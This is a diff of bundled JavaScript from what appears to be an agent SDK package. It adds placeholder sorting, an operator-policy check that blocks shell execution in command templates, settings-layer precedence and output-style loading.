@@ -662,12 +746,23 @@ function splitArgs(rawArgs) {
|
|
|
662
746
|
}
|
|
663
747
|
__name(splitArgs, "splitArgs");
|
|
664
748
|
function templateHints(template) {
|
|
665
|
-
const found =
|
|
749
|
+
const found = [];
|
|
750
|
+
for (const match of template.matchAll(PLACEHOLDER_REGEX)) {
|
|
751
|
+
if (match[1] !== void 0) continue;
|
|
752
|
+
found.push(match[0]);
|
|
753
|
+
}
|
|
666
754
|
return [
|
|
667
755
|
...new Set(found)
|
|
668
|
-
].sort(
|
|
756
|
+
].sort(comparePlaceholders);
|
|
669
757
|
}
|
|
670
758
|
__name(templateHints, "templateHints");
|
|
759
|
+
function comparePlaceholders(a, b) {
|
|
760
|
+
if (a === b) return 0;
|
|
761
|
+
if (a === "$ARGUMENTS") return -1;
|
|
762
|
+
if (b === "$ARGUMENTS") return 1;
|
|
763
|
+
return Number(a.slice(1)) - Number(b.slice(1));
|
|
764
|
+
}
|
|
765
|
+
__name(comparePlaceholders, "comparePlaceholders");
|
|
671
766
|
async function replaceAsync(source, pattern, resolve4) {
|
|
672
767
|
const matches = [
|
|
673
768
|
...source.matchAll(pattern)
|
|
@@ -684,9 +779,16 @@ async function replaceAsync(source, pattern, resolve4) {
|
|
|
684
779
|
}
|
|
685
780
|
__name(replaceAsync, "replaceAsync");
|
|
686
781
|
async function expandCommandTemplate(template, rawArgs, deps) {
|
|
782
|
+
if (FENCED_COMMAND_REGEX.test(template)) {
|
|
783
|
+
throw new ConfigurationError("command template uses a fenced ````!` command block, which this runtime does not execute. Use the inline form \u2014 !`command` \u2014 one per command. The fenced block was previously passed through unchanged, so the model read the commands as markdown and nothing ran.", {
|
|
784
|
+
code: "command_template_fenced_block"
|
|
785
|
+
});
|
|
786
|
+
}
|
|
687
787
|
const args = splitArgs(rawArgs);
|
|
688
788
|
const withArgs = await replaceAsync(template, PLACEHOLDER_REGEX, (match) => {
|
|
689
|
-
|
|
789
|
+
if (match[1] !== void 0) return `$${match[2]}`;
|
|
790
|
+
if (match[2] === "ARGUMENTS") return rawArgs;
|
|
791
|
+
const index = Number(match[2]) - 1;
|
|
690
792
|
if (index < 0 || index >= args.length) {
|
|
691
793
|
deps.warn(`command template references ${match[0]} but only ${String(args.length)} argument(s) were given`);
|
|
692
794
|
return "";
|
|
@@ -696,9 +798,16 @@ async function expandCommandTemplate(template, rawArgs, deps) {
|
|
|
696
798
|
return replaceAsync(withArgs, REFERENCE_REGEX, async (match) => {
|
|
697
799
|
const command = match.groups?.cmd;
|
|
698
800
|
if (command !== void 0) {
|
|
801
|
+
if (currentOperatorPolicy(deps.warn).disableSkillShellExecution === true) {
|
|
802
|
+
throw new ConfigurationError(`command template segment \`${command}\` was not run: an operator policy (managed-settings.json) declares disableSkillShellExecution.`, {
|
|
803
|
+
code: "command_template_shell_forbidden"
|
|
804
|
+
});
|
|
805
|
+
}
|
|
699
806
|
const result = await deps.shell(command);
|
|
700
807
|
if (!result.ok) {
|
|
701
|
-
|
|
808
|
+
throw new ConfigurationError(`command template segment \`${command}\` failed: ${result.text}`, {
|
|
809
|
+
code: "command_template_segment_failed"
|
|
810
|
+
});
|
|
702
811
|
}
|
|
703
812
|
return result.text;
|
|
704
813
|
}
|
|
@@ -717,14 +826,101 @@ async function expandCommandTemplate(template, rawArgs, deps) {
|
|
|
717
826
|
}
|
|
718
827
|
__name(expandCommandTemplate, "expandCommandTemplate");
|
|
719
828
|
|
|
829
|
+
// src/config/settings-layers.ts
|
|
830
|
+
var SETTINGS_LAYERS = [
|
|
831
|
+
{
|
|
832
|
+
layer: "user",
|
|
833
|
+
precedence: 10
|
|
834
|
+
},
|
|
835
|
+
{
|
|
836
|
+
layer: "project-shared",
|
|
837
|
+
precedence: 20
|
|
838
|
+
},
|
|
839
|
+
{
|
|
840
|
+
layer: "project-local",
|
|
841
|
+
precedence: 30
|
|
842
|
+
},
|
|
843
|
+
{
|
|
844
|
+
layer: "command-line",
|
|
845
|
+
precedence: 40
|
|
846
|
+
},
|
|
847
|
+
{
|
|
848
|
+
layer: "managed",
|
|
849
|
+
precedence: 50
|
|
850
|
+
}
|
|
851
|
+
];
|
|
852
|
+
var CODE_PRECEDENCE = 0;
|
|
853
|
+
var LAYERS_ARE_POSITIONED = true;
|
|
854
|
+
function layerPrecedence(layer) {
|
|
855
|
+
if (layer === "code") return CODE_PRECEDENCE;
|
|
856
|
+
const found = SETTINGS_LAYERS.find((l) => l.layer === layer);
|
|
857
|
+
if (!found) throw new Error(`settings layer has no declared precedence: ${layer}`);
|
|
858
|
+
return found.precedence;
|
|
859
|
+
}
|
|
860
|
+
__name(layerPrecedence, "layerPrecedence");
|
|
861
|
+
function settingsLayerChain(values) {
|
|
862
|
+
const entries = Object.entries(values);
|
|
863
|
+
return entries.filter((e) => e[1] !== void 0).map(([layer, v]) => ({
|
|
864
|
+
layer,
|
|
865
|
+
precedence: layerPrecedence(layer),
|
|
866
|
+
values: v
|
|
867
|
+
})).sort((a, b) => a.precedence - b.precedence);
|
|
868
|
+
}
|
|
869
|
+
__name(settingsLayerChain, "settingsLayerChain");
|
|
870
|
+
|
|
871
|
+
// src/config/output-styles.ts
|
|
872
|
+
import { existsSync as existsSync4, readFileSync as readFileSync5 } from "fs";
|
|
873
|
+
import { join as join4 } from "path";
|
|
874
|
+
import { TheokitAgentError as TheokitAgentError3 } from "@theokit/sdk/errors";
|
|
875
|
+
var OUTPUT_STYLES_DIR = join4(".claude", "output-styles");
|
|
876
|
+
var OutputStyleError = class extends TheokitAgentError3 {
|
|
877
|
+
static {
|
|
878
|
+
__name(this, "OutputStyleError");
|
|
879
|
+
}
|
|
880
|
+
name = "OutputStyleError";
|
|
881
|
+
constructor(message) {
|
|
882
|
+
super(`[@theokit/agents] ${message}`, {
|
|
883
|
+
code: "output_style_not_found",
|
|
884
|
+
isRetryable: false
|
|
885
|
+
});
|
|
886
|
+
}
|
|
887
|
+
};
|
|
888
|
+
function loadOutputStyle(input) {
|
|
889
|
+
if (input.name === void 0) return void 0;
|
|
890
|
+
const searched = [
|
|
891
|
+
join4(input.cwd, OUTPUT_STYLES_DIR),
|
|
892
|
+
...input.homeDir === void 0 ? [] : [
|
|
893
|
+
join4(input.homeDir, OUTPUT_STYLES_DIR)
|
|
894
|
+
]
|
|
895
|
+
];
|
|
896
|
+
for (const dir of searched) {
|
|
897
|
+
const path = join4(dir, `${input.name}.md`);
|
|
898
|
+
if (!existsSync4(path)) continue;
|
|
899
|
+
const raw = readFileSync5(path, "utf8");
|
|
900
|
+
const parsed = splitFrontmatter(raw);
|
|
901
|
+
const body = parsed === void 0 ? raw : parsed.body;
|
|
902
|
+
const description = parsed === void 0 ? void 0 : frontmatterValue(parsed.frontmatter, "description");
|
|
903
|
+
return {
|
|
904
|
+
name: input.name,
|
|
905
|
+
content: body.trim(),
|
|
906
|
+
...description === void 0 ? {} : {
|
|
907
|
+
description
|
|
908
|
+
},
|
|
909
|
+
keepCodingInstructions: parsed !== void 0 && frontmatterValue(parsed.frontmatter, "keep-coding-instructions") === "true"
|
|
910
|
+
};
|
|
911
|
+
}
|
|
912
|
+
throw new OutputStyleError(`output style "${input.name}" is configured and no file backs it. Looked for ${input.name}.md in: ${searched.join(", ")}. A style that cannot be read is not applied, and a silent fallback would be indistinguishable from a style that had no effect.`);
|
|
913
|
+
}
|
|
914
|
+
__name(loadOutputStyle, "loadOutputStyle");
|
|
915
|
+
|
|
720
916
|
// src/config/context-pressure.ts
|
|
721
917
|
import { resolveEffectiveContextWindow } from "@theokit/sdk/compaction";
|
|
722
|
-
import { TheokitAgentError as
|
|
918
|
+
import { TheokitAgentError as TheokitAgentError4 } from "@theokit/sdk/errors";
|
|
723
919
|
var DEFAULT_CONTEXT_PRESSURE_THRESHOLDS = {
|
|
724
920
|
warn: 0.75,
|
|
725
921
|
critical: 0.9
|
|
726
922
|
};
|
|
727
|
-
var ContextPressureThresholdError = class extends
|
|
923
|
+
var ContextPressureThresholdError = class extends TheokitAgentError4 {
|
|
728
924
|
static {
|
|
729
925
|
__name(this, "ContextPressureThresholdError");
|
|
730
926
|
}
|
|
@@ -752,18 +948,25 @@ export {
|
|
|
752
948
|
ContextPressureThresholdError,
|
|
753
949
|
DEFAULT_CONTEXT_PRESSURE_THRESHOLDS,
|
|
754
950
|
FILE_INLINE_CAP,
|
|
951
|
+
LAYERS_ARE_POSITIONED,
|
|
755
952
|
LayerOutOfOrderError,
|
|
756
953
|
LayeredConfig,
|
|
954
|
+
OutputStyleError,
|
|
955
|
+
SETTINGS_LAYERS,
|
|
757
956
|
TrustStore,
|
|
758
957
|
TrustStorePermissionsError,
|
|
958
|
+
blockAppliesTo,
|
|
759
959
|
composeInstructions,
|
|
760
960
|
contextPressure,
|
|
761
961
|
resolveEffectiveContextWindow as effectiveContextWindow,
|
|
762
962
|
expandCommandTemplate,
|
|
763
963
|
expandInstructionImports,
|
|
764
964
|
frontmatterValue,
|
|
965
|
+
layerPrecedence,
|
|
765
966
|
loadCustomCommands,
|
|
766
967
|
loadInstructionTree,
|
|
968
|
+
loadOutputStyle,
|
|
969
|
+
settingsLayerChain,
|
|
767
970
|
splitFrontmatter,
|
|
768
971
|
templateHints
|
|
769
972
|
};
|